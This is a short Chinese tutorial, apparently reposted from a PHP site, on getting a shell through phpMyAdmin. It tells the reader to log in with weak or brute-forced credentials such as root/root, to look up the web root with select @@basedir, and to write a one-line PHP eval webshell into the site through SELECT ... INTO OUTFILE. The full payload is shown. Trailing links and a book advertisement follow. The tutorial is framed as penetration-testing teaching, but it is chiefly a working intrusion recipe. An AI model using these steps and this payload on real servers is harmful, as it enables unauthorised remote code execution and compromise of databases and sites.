本文摘自PHP中文网，作者藏色散人，侵删。
下面由phpmyadmin教程栏目给大家介绍PhpMyAdmin后台getshell（渗透测试），希望对需要的朋友有所帮助！PhpMyAdmin简介
PhpMyAdmin 是一个以PHP为基础，以Web-Base方式架构在网站主机上的MySQL的数据库管理工具，让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径，尤其要处理大量资料的汇入及汇出更为方便。
在通过对目标进行信息收集探测后，当发现存有phpmyadmin目录（可试下：http://ip:端口/phpmyadmin/ ）时，进而通过弱口令（可以直接尝试下账号root密码root）或者暴力破解进入管理后台之后，有多种方法进行getshell。
into outfile导出木马
想在网站内部插入木马，前提是你得知道网站的绝对路径，方法也有很多，比如通过报错获取路径，通过phpinfo.php等等（可参考另一篇博文：https://blog.csdn.net/weixin_39190897/article/details/99078864 ）。
最方便的是用select @@basedir;直接查（但有时没法查出来，只能另寻它法）：
根据上面的反馈，我们可以看到 MySQL 的位置在 D:\soft\phpStudy\MySQL\目录下。
获得网站路径后就可以企图上传木马了，最常用的是通过into outfile在网站根目录上直接写入一句话木马：
select '<?php eval($_POST[cmd]); ?>' into outfile 'D:\soft\phpStudy\www\xxx.php';
相关阅读 >>
更多相关阅读请进入《phpMyAdmin》频道 >>
数据库系统概念 第6版
本书主要讲述了数据模型、基于对象的数据库和XML、数据存储和查询、事务管理、体系结构等方面的内容。
